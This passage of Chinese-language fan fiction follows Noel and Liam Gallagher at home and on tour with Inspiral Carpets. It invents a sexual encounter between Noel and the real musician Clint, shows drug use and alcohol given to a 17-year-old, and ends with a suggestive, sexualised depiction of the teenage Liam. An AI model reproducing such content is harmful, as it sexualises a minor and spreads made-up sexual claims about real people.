“哦豁,你是向我开战的,我会向妈妈告状。”利亚姆摆出坏笑,勾着手指向诺尔挑衅。
“幼稚鬼,停止你愚蠢的游戏。”
诺尔闭上嘴,将椅子搬到阳光底下与利亚姆一同晒起太阳。
“Rkid,你过来,你可以躺在我旁边。”说着,利亚姆就歪着身子给诺尔腾出一大片空间。
“好吧。”躺着比坐着舒服,再加上诺尔的宿醉的脑袋晕乎乎的,他更想躺在垫子上。他将椅子拉开,坐到垫子上,刚躺下,Rkid就摸索着抱了过来。
“你怎么那么腻歪呢?”
诺尔就这样抱怨了一句后,他收到Rkid的一个白眼。
“你是我兄弟,我不腻歪你我腻歪谁?”
“好吧,随你。”诺尔挑眉,他其实挺享受Rkid的拥抱,只是他不善于表达出来。
“你怎么发烧了?”在安静的空间中诺尔急于寻找话题。
“因为该死的女孩。”利亚姆回以一个埋怨的的脏话,表情有些不对劲。
“女孩,这不可能。我见过她吗?”
“你当然没有见过她,Lily是前天在俱乐部认识的,我们就搞在一块儿,结果当天晚上我就发烧了,fooking bird. ”
完后,诺尔憋着笑,但还是笑出声。
“Rkid,这好笑么,你为什么在笑?Shut up. ”
“我不知道,但这件事儿听起来就很滑稽,和女孩亲热后发烧。”说完,诺尔又大笑起来。
“没有亲热,只是亲吻。”利亚姆低声嘟囔,底气有些不足。
“Just a kiss, it''s joking, right? ”
“No . ”利亚姆继续,“Just a little kiss. That''s all we do. ”
“这也很不错,good boy。”诺尔调笑他一句,利亚姆的脸立刻变得越来越红。
“I''m not a dog, noel. ”
“Yes, you are a bloody monkey! hha ”
“Shut the fuck up,you bastard. ”
诺尔不想让“战场”升级,所以他在嘴上做出一个拉拉链的动作,他闭嘴了,将胳膊垫在脑后眯着眼听着音乐晒着太阳。
利亚姆也很识趣的没有吵下去,单手撑着脑袋躺在诺尔旁边,余光不时的飘向诺尔,嘴巴时不时的讲些笑话,虽然有些笑话太地狱级别,但确实是引人发笑到极点。诺尔真佩服利亚姆空空的脑袋瓜子是怎么运转的,他怎么能说出那么多匪夷所思的趣话。
从窗外看去,太阳的位置已经变化,佩吉带着一大袋日常用品回家,大哥保罗手里也拎着一大袋东西。
“诺尔,我不知道你回家了。”保罗将东西放下,来到诺尔身边的椅子坐下。
“我凌晨在这里睡觉,我不在这我能去哪?”
诺尔朝保罗要了根烟塞进嘴里,“有火吗?”
保罗找出火柴给诺尔点上,“我今天早上可没听到一点儿动静。最近你很少回家,你和女友吵架了?”
诺尔吸上烟,空闲右手搭在膝盖上,“没吵架,我和露易丝的关系很稳定。”
在保罗怀疑的目光下,诺尔无奈将手指指向利亚姆,“是Rkid凌晨哭唧唧的给我打电话,说他想我了。”
“Hey., Shut up, Noel. ”利亚姆在边上不满的抗议,或许带着些不好意思。
“Really? ”保罗的语气带着不可置信,“Rkid从来没有对我说这样的话。”
保罗佯装生气,在利亚姆的脑袋上轻拍了几下,“我是你的大哥,你伤害到了我。”
利亚姆挪到诺尔的身后寻求庇护,“Fuck off, Paul. ”
诺尔就坐在原地观赏这场闹剧,笑得直拍膝盖。
“诺尔,把烟熄灭,不要在病人面前抽烟。”佩吉站在冰箱前面朝着诺尔喊道。
这个病人就是指Rkid,全家人只有Rkid是免疫力低下的孩子。佩吉坚决坚持这个原则:
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Don''t smoke in front of the patient.
诺尔撇了撇嘴,将手中还未抽完的烟摁灭,嘴里嘟囔着:“得嘞,妈妈。”
佩吉从冰箱里拿出几瓶饮料,放在桌子上,“我要做饭了,要喝点饮料吗?”
“谢谢,老妈。”保罗拿起一瓶饮料,拧开瓶盖喝了一口,“今天在超市可真是挤得要命,人多得像下饺子一样。”
“哼,节假日就是这样,大家都出来采购。”佩吉一边整理着冰箱里的食材,一边回应道。
“我就不喝了,我感觉我的肚子里全是酒精。”后诺尔转头看向靠在自己身后的利亚姆,“你想喝什么?”
利亚姆从诺尔身后探出头来,“Rkid,给我拿瓶可乐吧。”
诺尔将Rkid的脑袋扒拉开,起身到桌上拿了递给他。
“诺尔,你昨天晚上喝了很多酒吗?”佩吉出声,她很关注诺尔肚子里的酒精。
“呀,妈妈打算做什么饭呢……”诺尔佯装踱步到煎锅前梗着脖子问。
“别转移话题,你听到我在说什么。”佩吉向他的儿子扬起木铲。
“喝了几打酒,只是低浓度酒精。”诺尔干笑一声,有些无措地摸着脸。
“你是疯了吗,喝那么多会要命的,我可不想在医院看到你。”佩吉立刻向儿子投以不赞同的目光,并用手拍了下儿子的脑袋。
被打完脑袋的诺尔很识趣的远离妈妈,并赠以他的大哥保罗一个□□的中指,因为他在洗菜池边上偷笑诺尔。
大哥在厨房帮着妈妈做午餐,诺尔一点儿也不想干活,他像猫一样走出厨房来到生病的利亚姆旁边,一直等到妈妈把饭做好。诺尔会做饭吗?会,但由于他糟糕的厨艺,诺尔被他的妈妈以及女友露易丝禁止接触厨房的一切。
半小时后,妈妈就做好一顿美味的意大利面,大哥将三盘面端到桌上,诺尔入座。
“只有三盘,利亚姆不吃吗?”
坐在他旁边的佩吉出声“威廉没有胃口,他已经这样二天了,他饿了自己会从冰箱里拿吃的。”
“Poor guy. ”
“Yeah…”
在诺尔他们吃的差不多的时候,诺尔说道,“我打算和你们聊聊我的星座。”诺尔咽下最后一口意大利面。
“我在一支乐队里当设备管理员,下周就会跟着他们到处巡演。”
“很棒,诺尔,你找到新的工作了。”佩吉的脸上浮现惊喜,“你需要好好照顾好自己,你已经是个大男孩了。”
佩吉站起拥抱诺尔一下,表情只有对诺尔找到工作的欣慰与惊喜。他的大哥保罗也给了诺尔一个暖心的拥抱。
“我才不会拥抱他。”利亚姆突然出声,他那个沙哑的鸭子嗓音吸引了诺尔的注意,诺尔的屁股离开板凳蹲到Rkid床垫旁边。
“你想要一个拥抱吗e on. ”
利亚姆就是个口是心非的男孩,在诺尔来到他的身边时,他就已经迫不及待的靠近诺尔了。
诺尔立刻将这个害羞的男孩抱住,亲吻他的脑袋上方。
“Rkid,等我去工作了,你可不要打电话给我哭鼻子说想我了。如果你再这样,我会把你的屁股打烂,让别人知道你是个喜欢粘着哥哥的小孩。”
“Fuck off. ”利亚姆在诺尔的怀里嘟囔,只要是个人,就能看出他的不好意思。
17. 跟着IC乐队巡演1
“好了,我要回去了。”诺尔离开Rkid的怀抱,去卧室找来自已的黑色外套披着,又从大哥那里顺了根烟点上。
“走了。”诺尔向家人们挥手,在他们也向诺尔挥手后,他便离开了家。
这次诺尔没打车,因为他在路上遇到了开着老爷车的Guigs,他让Guigs将他送到露易丝的住处,这位朋友很乐意这样做。(Paul "Guigs" McGuigan是诺尔十七八岁时在社区认识的朋友,由于这位朋友会弹贝斯,两人有共同的话题。)
“谢了。”说完,诺尔向着车内的Guigs告别。
“下次我们需要喝一杯,诺尔。”Guigs向诺尔的背景喊道。
“当然,哥们。”
诺尔从口袋中掏出钥匙将门打开,“Lou, 你在吗?”
房间的窗帘还在和昨夜一样的状态,房间里很安静,看来露易丝不在。诺尔来到床边坐下,看到一张纸条压在电视机遥控器下,诺尔将它打开。
“亲爱的诺尔收。很抱歉没有陪你过周末,我临时接到去巴黎的出差请求,原谅我的不告而别。期待一个月后回家亲亲你,可以给我打电话,电话在纸条的背面。爱你的Lou. ”
诺尔歪头笑了一声,带着不明的甜蜜翻出一本《明顿白》诗集看着。这本诗集还是露易丝买给诺尔的,她觉得这本书会给诺尔带来写歌的灵感。
在看了几页后,诺尔将他的木吉他抱到腿上。他最近写了一首新歌,他需要完善它。沉入吉他中的诺尔忘却了时间,当感到肚子饥饿时,才放下吉他出门寻找食物。在填饱肚子后,他去Inspiral Carpets乐队的排练室寻找他的新朋友们。
“Hi, 诺尔。”鼓手Craig Gill向他打招呼。
其他成员二三个躺在沙发上,还有一二个在混音台旁边站着,他们注意带诺尔的带来,迫不及待与诺尔分享他们的香槟和音乐。
排练室封闭的空间里泛着香槟的甜腻,空气里飘得都是大麻的味道,诺尔对这些很熟悉,他一点儿都不排斥它们。相反,诺尔很喜欢酒精和大麻。所以,他加入到朋友中,与他们共享。
没有露易丝在等他回家,诺尔可以随意地放纵自己。他跟着混音的节奏肆意摇摆,手中拿着酒杯不时与朋友碰撞,发出清脆的声响。大麻的烟雾在他眼前缭绕,模糊了他的视线及脑子。他们为自已寻找游戏的刺激,一个纸牌游戏,输的人需要被指定干任何事儿。今天诺尔的运气很不如意,作为惩罚,他需要与男孩们亲吻,在男孩们面前做俯卧撑以及唱首歌曲。这些都在诺尔接受范围内,他可不想做个扫兴的朋友,更何况他们之后的时间还是工作伙伴。
再说到接下来的日子,诺尔大部分时间都待在乐队团队中,为他们在各地的演出做准备。他需要在演出的场所搬设备以及将鼓试个音。这听起来很简单,但那些设备真他妈重。每次搬完设备后,诺尔只想躺在地上一动不动,他的身体直线透支,但还好有Clint这个小子帮他。
诺尔经常与Clint和Graham腻在一起,指挥两朋友帮诺尔拿包和搬设备。有他们的存在,诺尔的任务就会变得轻松多了,他有了更多的时间在场地里闲逛,也有了心情与乐队成员们吹牛聊天。谢谢上天让诺尔遇见热情的Clint和Graham。
10月3号,IC乐队(Inspiral Carpets缩写)在英国诺丁汉的拜伦故居进行几场演出。乐队的一行人在附近的旅馆住下。由于乐队拮据的开支,诺尔与同行的摄影小哥Nail brown 住在一块儿。
在白天,他抽出时间给家人打电话。
此刻他正窝在旅馆破旧的沙发上,空闲的右手无聊着摸着头发。
“妈妈,你在干嘛?”
“我在洗威廉的脏衣服,他的脏衣服可真多。”
“他在旁边么,把电话给他。”
电话被佩吉传到另一个人手中。
“Noel,你在干嘛?”
“我特么在和你打电话呢,你说我在干嘛。”
“你在哪?”
“我在诺丁汉,你要过来吗?”
“你已经离开三四个月了……”
“好了,好了,别发牢骚。你向妈妈要点钱坐车过来吧,到了诺丁汉车站打电话给我我去接你。”
“See you later , Noel. Love you, bye. ”
“Bye, you cunt. ”
——
诺尔挂了电话后在旅馆的单人床上躺着休息,他隔壁床的Nail Brown 在拿着相机拍窗外的风景。
诺尔想不通这有啥可拍的,Nail 整天就抱着他的相机在任何他能进入的地方进行疯狂的拍摄。哦,忘了说,这个看起来很稚嫩的男孩还是个专业摄像师,这太让人惊讶了。
“诺尔,待会儿要和我去外面逛逛吗?我要为乐队拍些照片。”
Nail 长得比诺尔高大多了,在他走过来坐到诺尔的床上时,能清晰的感觉到床猛的颤动。
“你个大脚怪,你的屁股要把床坐塌了,我可没钱赔给旅馆。”诺尔将他的鞋底踢向Nail, 在男孩白色衬衫印上他的鞋印。
“我不去,今天早上搬设备累死了,我需要休息。”诺尔将床头的烟点上一根,“我恨死Nick这个小子了!”
Nick Butler 同诺尔一样是IC乐队的设备管理员,因为今天他的缺席,诺尔干了两个人的活。
“行吧,那我出去了。”说完,Nail 背着他的厚重的摄像设备离开房间。
十月份的诺丁汉天气已经变凉了些,但幸好还有着暖心的微弱的阳光。诺尔他是天气主义者,如果天气很糟糕,他是绝不会出门。因为这种行为,他没少被乐队巡演的经理臭骂,说他是是个只会偷懒的混蛋。
诺尔可不会为这种毫无攻击力的脏话伤心,他与乐队的骨干成员天天混在一起称兄道弟,他在乐队里的地位可见一斑。他可以让这些朋友们为他干活而无一丝怨言,这就是诺尔的奇特魅力,他就是这个小团队的“BOSS”。
“Hello, my tough tiger. ”(ps:带有调情意味。)
Clint不知道什么时候来到门口,依靠门框向诺尔微笑。
Clint有着帅气的面容,当他的嘴角勾起他标志般的魔力笑容,无人能抵抗他的邀请。
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>“过来。”诺尔歪头咬着烟向他勾手,说道。
Clint立刻来到床边轻吻诺尔的嘴角,但诺尔嘴里咬的烟差点烫到他。
“世界末日了么,终于让我亲了?”
诺尔将嘴边的口水擦掉,撇了他一眼,“滚一边去,有事儿要你帮忙。”
Clint带着了然的表情望着他,“什么事儿?”
“Rkid今天要来这儿,我没有驾照,所以……”
“我可以开车接你的兄弟,反正今天我的排练已经结束了。”Clint甚至没有听接下来的话就迅速接话,带着他的热情。
“谢了。”诺尔拿下嘴里的香烟,与Clint一同分享。
“是诺丁汉车站,我们什么时候出发?我好像没有见过其余的汉纳姆兄弟。”
“是,他到了会给我们打电话,到时候再去。”诺尔双手撑着脑袋躺在床上,“如果你见过所有的汉纳姆兄弟,你会发现他们一个比一个混蛋。”
“我不认为你是个混蛋。”Clint带着调笑的眼神贴近诺尔,将烟重新塞到诺尔的嘴里。
“啧。”诺尔歪头,咬着烟让他说话的声音更加模糊,“当Rkid来了,你不要这样做。”
做什么?当然是Clint对他的亲吻和异常的亲密,诺尔不认为他的弟弟会喜欢看见这些场面。
“Shit, why ? ”
“因为我怕Rkid变得像你一样是个同性恋。”
“You bastard. 先不说你伤到了我的心,再说我不是同性恋,我只是更愿意尝试多样的性别。”Clint的神情变得伤心起来,后又出声,“我特么可是在一支摇滚乐队里,这不可避免。难道你就没搞过男人吗?”
诺尔对他翻了个白眼,“只搞过你。”
诺尔直白且犀利的话让Clint噎住,他想起上个月发生的糟糕事情,这让他的脸变得有些紫。
先说明一下,Clint可不是个喜欢当“bottom”的那一方,他的屁股就从来没有被人搞过,直到上个月与诺尔发生关系。这简直是太糟糕了,他高估了自已的承受能力,也低估了诺尔尺寸,这让他的屁股裂开,趴在床上疼了两天,在此期间他的自尊的身体受到极大的伤害。
Clint抬眸盯着诺尔漂亮的蓝色瞳孔,虽然面前人眼睛有些斜视,但绝不影响到诺尔的魅力。
Clint心想,这个人怎么会对他有如此的吸引力。他向向诺尔狞笑并赠予一个中指。
“下次,将会是你的屁股遭殃。”
“Next time? Fuck you. ”诺尔听到这话,忍不住大笑起来。他带着几分痞气的笑声让Clint又气又无奈。
“我等着呢。”诺尔挑了挑眉,眼里满是挑衅的意味,他把烟掐灭在床头的烟灰缸里,坐,单薄肌肉线条在微微有些宽松的卫衣下显露。
诺尔可不是个弱鸡,他经常混迹酒吧与混混们打架斗殴,十场混斗中,他最起码赢下了八场,且从小到大与他的弟弟打架中,他可基本没输过,在没有特殊情况下。更别说,他还有个聪明的脑子,他很机智的观察局面,拿起他任何能拿到的东西砸在人的身上,如此,在斗殴中他甚少输过。
18. 跟着IC乐队巡演2
“我需要睡会儿,你随意。”
“OK. ”
Clint没有离开,他贴着诺尔一起躺在床上睡觉。
时间倒是过得挺快,因为从曼切斯特坐车到诺丁汉需要二个半小时。诺尔的床头座机突兀地响了起来,他看了一眼来电地区显示,正是Rkid打来的。
他拿起电话接了,利亚姆的声音藏不住他的兴奋的。
“You know. 诺尔,我是利亚姆,我到车站了。”远在电话那边的利亚姆摆着手,他只穿了单薄的衬衫,“这里风太大了,我要被吹成肉干了,你给我挪动屁股快来接我,这里糟糕的天气让我的脑袋要爆炸了,fooking air. ”
诺尔能想到那边利亚姆跳脚的样子,任何惹他不如意的事物,他的嘴巴能喋喋不休的骂上一整天。
“行了,安静下来,我马上到。”诺尔不放心又补了一句,“别乱跑,不要惹事,知道不?”
“Fooking …I''m seventeen, no fooking kid. ”
“Well, you do. ”
诺尔挂了电话,Clint站起身,在整理自己的发型。两人一同出了旅馆房间,往停车场走去。
诺尔会开车但他没有驾照,Clint开的是乐队公用的车,空间很足,坐起来很舒服。他们两人一坐到车上就把音响给打开了,听着音乐,一路带风驾向车站。
到了车站,诺尔和Clint在风中站了好一会儿,他在搜索Rkid的身影,一无所获。他担心的事儿果然发生了,Rkid这个小子超级容易被任何事物吸引注意力,由于Rkid患有注意力缺陷相关的疾病。当与Rkid出门时,诺尔总要分出心思和精力照顾他,避免他走丢和闹事儿。
诺尔和Clint在车站的附近逛了逛,最终他们在一家便利店门口发现了Rkid。
利亚姆被两个漂亮的女孩搭讪,他穿着蓝白配色的长袖衬衫,头发被风吹得飘起来,为了在女孩面前不显得窘迫,他用手将头发压住。
“Oi --”
诺尔将双手的食指放进嘴里吹了个很响亮的口哨,这是诺尔吸引Rkid注意力的把戏,他在家经常这样做召唤利亚姆。
“Noel? 你特么迟到了,我已经等你好久了。”
利亚姆甩下女孩们向这边走过来,带着怒气拿手指着诺尔。
“我们找了你二十多分钟,是个正常人都会在车站出口等着,你个蠢货。”诺尔对他翻白眼,“若不是你个傻子乱跑,我们已经在回去的路上了,you cunt. ”
“Fuck off, 你的错,谁让你不早点来。你是我的哥哥,你早点来就好了,就是你的错。”
利亚姆扒拉着诺尔的肩膀,向他的哥哥撒泼,带着撒娇意味。
诺尔无奈将他的手牵住,“老实点,给我安静。”后又说,“这是我的朋友Clint,就是他开车来接你的。”
利亚姆挣脱诺尔手的束缚,向Clint友好的打招呼,他举起他的手,期待得到回复,“Thank you, man. ”
“不用谢,dude。”Clint回握男孩的手,然后很热情的环住男孩的肩膀,“利亚姆,你看起来真帅气,要喝点什么吗?我请你喝。”
“拉格啤酒,必须是拉格。”利亚姆与Clint在前方走着,兴奋摇动他的双手。(拉格是啤酒的一种类型。)
后方的诺尔双手插兜带着笑意,他能想到Rkid是怎么搜刮Clint口袋里的英镑,与Rkid去便利店真的很糟糕,他会花很多的钱去买啤酒和香烟,正巧,这两样都不便宜。
诺尔买了包烟和口香糖便在门口等着。果然,利亚姆和Clint拎着两袋啤酒出来了,Rkid的嘴里甚至叼了一包烟,向他的哥哥显摆着。
“Fooking hell, 你花了巨大的金额,这小子要把你钱包掏空了。”诺尔抽着烟对着Clint说道,带着幸灾乐祸。
Clint向诺尔摊手,显然他不是很在意他花的钱,他将东西放到车上,坐到驾驶位,等着后面的二位汉纳姆兄弟。
“哟,这没什么大不了的,我能回去对着老板这样说么,我说:打劫,我要把我们花出去的钱抢回来。你知道的这不可能。”利亚姆将他嘴里要的一整包烟塞进兜里,得空的嘴巴向诺尔控诉,“如果我这样做,我此时不是在和你聊天,我应该在那该死的监狱!”
Rkid太有趣了,他的脑袋已经飞到监狱里了,骂着监狱里的混蛋们。
诺尔被他逗得大笑,当坐进车里时,诺尔将这事儿讲给Clint听。
“这太搞笑了!”Clint笑着拍着方向盘,他在努力让车驾驶得平稳,“利亚姆,你太有趣了,让我们把车开回去抢劫那个老板吧。”
利亚姆翘起他的三个手指,摆在自己的脑袋上,一副胜利得意的样子,“Its me!世界上最棒的人,就坐在你车里。”
“Yeah…” 诺尔难得的没有怼他,相反,他的嘴边挂着一抹笑。
回去的途中,多了不少乐趣,Rkid这个话多的小子他一刻没有停止,在车里叽叽喳喳。直到他们回到了旅馆,在陌生环境里,Rkid的谨慎和不安才显露,他在诺尔的房间来回踱步,触摸房间的每个角落,表情有些严肃。
Clint把酒放在墙边,在接到一声电话后,向汉纳姆兄弟告别,因为他需要去乐队的排练室练习歌曲。
“我睡哪?”
利亚姆蹲在地上打开一罐啤酒,边抿着酒边问他的兄弟,突然他向诺尔扔了一罐。
“这里可没有多余的房间,而你的哥哥又是个穷鬼,所以你和我睡一张床。”诺尔及时接住,“你特么要砸死我吗?”
利亚姆笑了几声,挎着腿来到诺尔身边,与他一同坐在床上。
“这里的天气太糟糕了,我不喜欢这里。”
“我也很讨厌这里的天气,但我需要工作,你知道的,我需要赚钱。”诺尔单手打开啤酒,另一只手夹着烟,他抽空撇了Rkid一眼,“你带了什么行李?我都没看见你拿包。”
“我不需要包,我的裤子有口袋。”利亚姆很兴奋的蹦跶到床上,从牛仔裤的口袋里掏出自己的贴身衣物,在诺尔的视线里甩着,他表现得像只甩香蕉的破猴子。
“你个蠢货,你只带了两条内裤,就像是个流浪汉。”诺尔偏过头躲避Rkid的内裤攻击,顺带骂了利亚姆一顿。
“我不蠢,我只需要我的内裤,我没带衣服是因为我可以穿你的。”利亚姆将他的内裤扔到床上,跪在诺尔的身后给了他一个爱的亲吻,“你的衣服就是我的衣服,我当然可以穿,所以我才不带衣服。”
“行吧,你个混蛋,作为回报你需要洗我们的脏衣服。”诺尔抓了把利亚姆的短发,在他耍赖之前,把他压在身下,“听到了吗?”
“当然听到了,你个暴君。你放开我,你要把我压死了。”利亚姆咧开嘴对着他的哥哥臭骂。
诺尔松开了利亚姆,两人靠在床头有一搭没一搭地喝着啤酒。
这时,旅馆的门从外面被打开。
“诺尔,经理找你,需要你去搬设备。”Nail 背着他的摄像机走进房间。他退出房间又进来,望着房间里的利亚姆,“你是谁,我从来没见过你。”
诺尔接话,“这是我弟弟利亚姆,他之后的时间和我睡一张床,希望这不会打扰你。”后又对身边人说,“这个男孩是乐队的摄影师,Nail Butler. ”
Nail 放下他的相机设备走过来向利亚姆打招呼,“当然没问题,希望你玩儿得开心,哥们。”
“这里很棒,
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哥们,就是天气很糟糕。”利亚姆坐了起来,与新朋友打招呼,显得很自如。
诺尔靠在床头回了个电话,“经理,我是诺尔……好的,马上到……OK,没问题。”
Rob Nop是乐队的经纪人,而他的弟弟Bobble Nop 是管理乐队的经理,管着一切事物,对所有成员都很尊重,诺尔对这人很有好感也很乐意为他工作。
“站起来Rkid,和我一起出去。”诺尔放下电话这样命令式对着利亚姆说。
“Shit, 我是过去给你当苦力吗?”利亚姆骂了一句从床上跳下来。
“当然,要不然我要你来干啥,你需要为我干活,作为补偿我会给你零花钱。”诺尔把烟熄灭朝着弟弟露出坏笑。
“我就知道,你只会压榨你的兄弟,你个资本家。”
利亚姆走过来给了他肚子一拳,诺尔没躲过挨了一拳头,他捏住利亚姆的下巴,“你再敢打我试试,再说我不是资本家,我是一个本分赚钱的工人,我是工人阶级的一员。”
诺尔的力气完全碾压十七岁的小屁孩,稍微使上劲,Rkid就在他的掌心咋呼。
“Noel,你个混蛋,bastard!”利亚姆从他哥手中挣脱,戳着诺尔的肩膀痛骂。
诺尔用膝盖踢向Rkid的屁股,推着他往前走。“Move, you hooker . ”
利亚姆在前方走着,突然他回头控诉,瞪着他蓝色的眼睛,“Hooker?No, I''m not. ”
“是的,你是,闭上你的臭嘴。”诺尔搂着Rkid的脖子带着他往外走。
乐队演出场所在二道街道的对面,仅仅几分钟的走路路程,但来往的车辆很多,诺尔需要拉住Rkid的衣袖防止他乱跑,并与他对骂。
“诺尔,这里。”
站在一辆卡车前方的Bobble Nop朝着马路边上的诺尔喊道。
诺尔带着利亚姆走过去,他给了经理一根烟,“这是我弟弟,他来这儿看乐队的演出。”
“他多大了?有十六岁吗?”Bobble Nop接过诺尔的烟,指着利亚姆询问。
“他十七了,就是个小屁孩。”诺尔指向卡车里的设备,“这些需要搬吗?”
“是的,已经有三个人在搬了,你去帮忙。”Bobble Nop抽了一大口烟,皱着眉。
“OK. ”诺尔摆着手回了一句,领着身后的利亚姆来到卡车的后面。
果然已经有三个员工在用推车搬设备,诺尔爬上车,指挥者Rkid帮他干活,他自己就替Rkid搭把手。
诺尔喜欢与Rkid在一起,因为利亚姆的脑袋只会处理简单的命令,当诺尔让他干什么时,他就会立刻去做,这让诺尔在他的身边就能得空休息。他对压榨弟弟毫无一丝愧意,他想,Rkid会很乐意为他这样做,因为他是Rkid世界上最爱的第二人。为什么不是第一,因为第一是属于他们妈妈的位置。
大约一个小时,卡车上的设备就被搬空了,这些设备被安置在拜伦故居的演出舞台上,今晚六点IC乐队就在这里演出,诺尔他们在做最后的准备。
诺尔脱下自已的外套拿在手里,利亚姆站在卡车上揣着粗气,显然他累的要死,额角流的汗浸湿他的头发。当他察觉到诺尔的视线,从车上跳了下来。
“我们待会儿需要干什么?”
“我们待会儿什么也不干,走吧,带你去看看乐队的成员们。”诺尔拿他脱下的外套在Rkid流汗的脸上擦了一把,“Good job, my boy. ”
“Well , I am.”利亚姆微睁着眼向他咧开嘴,露出他整齐的牙齿,在绽放他的魅力。
“Piss off. ”诺尔从口袋翻出口香糖嚼着,并与利亚姆分享,“跟着我,不要捣乱。”
19. 跟着IC乐队巡演3
他们凭借诺尔的员工证件得以进入演出场地的后台,一路上诺尔都在警告利亚姆不要随意触碰后台的设备与装饰,因为Rkid对所有的东西很好奇,他会伸长他的脑袋只会盯着一幅画像的角落。
走廊的边上有一间透明玻璃的房间,诺尔打开门进入,利亚姆撇着嘴仰着脑袋跟在身后。
黑色的沙发上躺着两个人,鼓手Craig Gill和吉他手Graham Lambert,在抽着大麻,在明亮的房间里烟雾浓烈的能遮挡住他们的脸廓;他们的主唱Tom在无聊的踱步,看起来有些紧张,毕竟今晚是他第一次上台演唱;Clint这小子在向诺尔歪头抛媚眼,并热情招手,诺尔翻着眼对他竖个中指;贝斯手Martyn窝在台阶上与女孩们喝着香槟。整个房间充满大麻,酒精以及甜腻香水的味道,并带着音响的震动。
诺尔走进去后,径直走向沙发,在一旁坐下,顺手拿起桌上不知道是谁的酒喝着。
利亚姆站在他的旁边,好奇地张望着屋内的一切,他的眼睛在众人身上来回扫视,似乎对这个陌生又充满诱惑的环境既兴奋又有些无措。
“诺尔,这就是你弟弟?”Graham Lambert 吐出一口烟,眯着眼看向利亚姆,“你们看着一点儿也不像。”
“是啊,这小子过来看你们的演出。”诺尔回答,眼神带着笑意。
“过来坐啊,小家伙。”Craig Gill朝利亚姆招招手。
利亚姆犹豫了一下,还是慢慢走过去,在诺尔旁边坐下,他身体绷得有些紧。
“待会儿的演出会让你兴奋起来的。”Martyn 笑着说,递给利亚姆一杯酒,“尝尝这个,能让你放松些。”
利亚姆看了看诺尔,见他点头,才接过酒杯,喝了一大口。
“今晚的演出准备好了吗?”诺尔转头问Tom,他知道这对 Tom 来说是个重要的时刻。
Tom 停下踱步,深吸一口气,“嗯,尽量吧,还是有点担心会搞砸。”
“放轻松,兄弟,你平时唱得可不差,就当是在练习室一样。”Craig Gill 坐起身来,拍了拍 Tom 的肩膀,给他打气。
诺尔和利亚姆的到来没有打扰到演出之际的成员们。大家坐在一块儿聊天打趣,他们对即将在拜伦故居演出而表示兴奋,因为在场有二千多人来看演出,这对一个半开放的封闭场所来说,这是不可多得的。
随着演出时间的临近,终于,工作人员进来通知躁动的男孩们上台。
3———
2——
1—
啪!
舞台上的灯光被打开,诺尔的朋友们站在舞台上,抱着他们的乐器开始演奏,底下的观众在为男孩们欢呼,他们撕扯着嗓子,高举着他们的双臂。这可太让人振奋了,尽管诺尔跟随着乐队看了几场演出,他还会被这些场面和气氛所感染。他喜欢音乐,他太爱音乐了,他愿意为这样的音乐和场面而死去。
诺尔站在舞台的边上,肩膀靠在高高叠在一块儿的音响上,他一只手插着兜,另一只抽烟的手时不时搭在蹲在地上的利亚姆脑袋上。
诺尔低头,向利亚姆伸出手。
利亚姆知道他的哥哥想要什么,他把手中的啤酒递给诺尔。
“怎么样?”显然诺尔在问这场演出。
“很棒。”利亚姆的表情在黑暗中看不清,但他的语气与说的内容不符合,听起来兴致怏怏。
“怎么了?”
“我有点饿。”
“站起来,我带你去吃点东西。”
诺尔走下舞台台阶,回头望着依然蹲在音响旁边的利亚姆,他提高了音量。
“你的瞎了还是怎么了,给我下来。”诺尔能感受到他在闹脾气。
“这里所发生的一切将你的心紧紧地勾住了......”他依然保持着下蹲的姿势,身体微微前倾,仿佛随时都会向前倾倒似的。他伸出那粉嫩且灵活的舌头,缓缓地朝着手中紧握着的酒瓶靠近过去。这一连串细微的动作,使得他整个人散发出一种难以言喻、纯粹至极的魅惑气息。
就在这时,他抬起头来,用那双深邃如潭水般的眼眸凝视着诺尔,轻声说道:“我刚才一直在跟你讲话,可你却完全没有搭理我。”
诺尔后知后觉的摸着脖子,这事儿好像发生过,但他的心思全在音乐上,他忽视了弟弟拽他衣服和戳他腿的手。
诺尔烦躁的扔下烟蒂,向他伸出手,“你是个只会拽衣角的女孩吗?下来,我的女孩,带你吃墨西哥菜。”
诺尔喜欢弟弟依赖他的样子,尤其是此时醉酒的利亚姆乖巧的贴在他的手臂上,这让诺尔内心柔软起来,他握紧利亚姆的手。
利亚姆终于走下楼梯,晃着不稳的步伐,在最后一层台阶将诺尔的手牵住。他的眼神带着迷蒙,声音黏糊,“我不是女孩。”
“你是女孩,你长得就很像女孩。”诺尔无情的嘲笑他,咧着嘴笑。
“我是长得好看,但我不是女孩。”利亚姆固执的反驳,“I''m not a fooking bird, you know …”
“Stop it …”若诺尔再不让利亚姆闭嘴,他会把他的弟弟扔在马路边上,让他被车碾压,“给我闭嘴。”
诺尔带着利亚姆来到附近的墨西哥餐馆,晚上八点多的饭店人很多,所以诺尔改变他在店里就餐的想法,他打包两份回到旅馆。
利亚姆坐在床上吃着他的墨西哥菜,他告诉诺尔他一天没有吃饭,他的白天时间都花在公交车上和火车上(因为他迫不及待想要见到诺尔),并带着他昨夜与朋友厮混的满肚子劣质酒精,真不知道他的胃是怎么撑到现在的。
利亚姆吃完就把包装盒的垃圾放在地上,他知道他的哥哥会替他收拾。果然,他一放下诺尔就赶过来收拾,带着满嘴臭骂他的恶俗的脏话。
利亚姆在诺尔的脑袋上乱摸,让他哥哥的发型看起来很滑稽。然后他躲避诺尔想要踢他的脚,蹲在地上翻着哥哥的行李,从里面拿出自己喜欢的衬衫,带着衣服来到浴室。
他累惨了,他的哥哥在压榨他干活,当然,这是利亚姆乐意做的,但这比在工地干活还累。他随便搓着身体将身上的水擦干,带着一身水汽来到床上。
他梗着脖子光着屁股在床上翻找内裤,将其中一条穿上,后又钻进被窝,把另一条干净的内裤甩向坐在床尾的诺尔,“Rkid,把它放进你的包里,你不会想让它出现在你的枕头上。”
“Piss off. ”诺尔骂了一句,带着不乐意将他的内裤塞进包的隔层,“我不是你的保姆,下次请给我乖乖下床自己放。”
“Well …”利亚姆随意的敷衍着,窝在床头在放空他的脑袋。
诺尔观察利亚姆一会儿,瞧着他终于安静下来,他拿起房间内吉他,轻轻拨弄着琴弦,试图找回旋律。房间里弥漫着一种静谧又有些温
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暖的气息,只有吉他声在空气中轻轻回荡。
这让利亚姆想到家里的卧室,诺尔与他住在一起的时候,他的哥哥经常抱着吉他坐在地上,无论利亚姆怎么烦他,他就是抱着他的吉他而不理他无聊的弟弟。
利亚姆听着吉他声,眼神变得更加迷离,酒精的作用让他的胆子被放大。他来到床尾,一把抓住诺尔拿着拨片的手,让吉他声戛然而止。
